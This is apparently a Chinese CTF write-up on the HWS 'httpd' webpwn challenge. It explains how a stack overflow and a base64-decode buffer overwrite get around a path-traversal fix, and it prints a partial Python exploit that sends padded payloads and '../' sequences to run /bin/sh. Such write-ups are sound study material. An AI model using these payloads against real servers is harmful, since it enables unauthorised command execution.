webpwn学习
前言
在HWS遇到一道关于webpwn的题型,虽然后面根据其他师傅的wp复现了感觉不难,但自己分析还是比较麻烦的,这里总结一下webpwn的相关知识。
HWS-httpd
整个题其实就是自己实现了httpd的部分功能,听其他师傅说的是用了某个框架,但是修复了其中的路径穿越漏洞。
解题
虽然该题修复了路径穿越漏洞,但是还存在一个栈溢出漏洞,并且存在可以在判定完路径穿越后的覆写该路径的漏洞。
通过分析逆向文件,发现存在栈溢出漏洞
又发现在其中一个函数中存在文件执行,但是又从输入的文件名中,把路径穿越漏洞给保护住了
但是文件名名上面存在v12,v12可以在base64解码的时候用来覆盖
于是利用脚本如下
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| def base64_encode(text): text_bytes = text.encode('utf-8') encoded_bytes = base64.b64encode(text_bytes) return encoded_bytes
def base64_decode(encoded_text): encoded_bytes = encoded_text.encode('utf-8') decoded_bytes = base64.b64decode(encoded_bytes) decoded_text = decoded_bytes.decode('utf-8') return decoded_text
def exploit(): sleep(1) payload=b'GET aaabbbcccddd/bin/sh?index.html' sl(payload) sleep(1) payload=b'A'*21+b'A'*84+base64_encode("A/../../../../") sl(payload) sleep(1) sl(b'Authorization: Basic ') sleep(1) s(b'\n')
def se(x): sla("> ",str(x))
def finish(): ia() c()
|